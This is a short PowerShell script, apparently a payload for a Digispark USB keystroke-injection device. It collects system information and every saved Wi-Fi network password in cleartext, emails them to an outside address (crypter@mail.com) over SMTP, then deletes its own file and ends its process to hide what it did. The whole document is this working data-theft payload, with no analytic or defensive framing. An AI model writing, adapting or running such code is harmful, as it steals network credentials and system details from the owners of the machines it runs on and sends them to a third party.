Function sendMail() {$credential=(Get-Credential crypter@mail.com); $info=(systeminfo|out-string)+(netsh wlan show profiles|Select-String -Pattern "All User Profile"|Foreach-Object{$_.ToString()}|Foreach-Object{$_.Replace("    All User Profile     : ",$null)}|ForEach-Object{netsh wlan show profiles name="$_" key=clear}|out-string); send-mailMessage -to 'crypter@mail.com' -subject 'Digispark Report' -from 'crypter@mail.com' -body $info -SmtpServer 'smtp.mail.com' -credential $credential;(New-Object -ComObject WScript.Shell).SendKeys('{CAPSLOCK}');Remove-Item code.ps1; stop-process -Id $PID;}
sendMail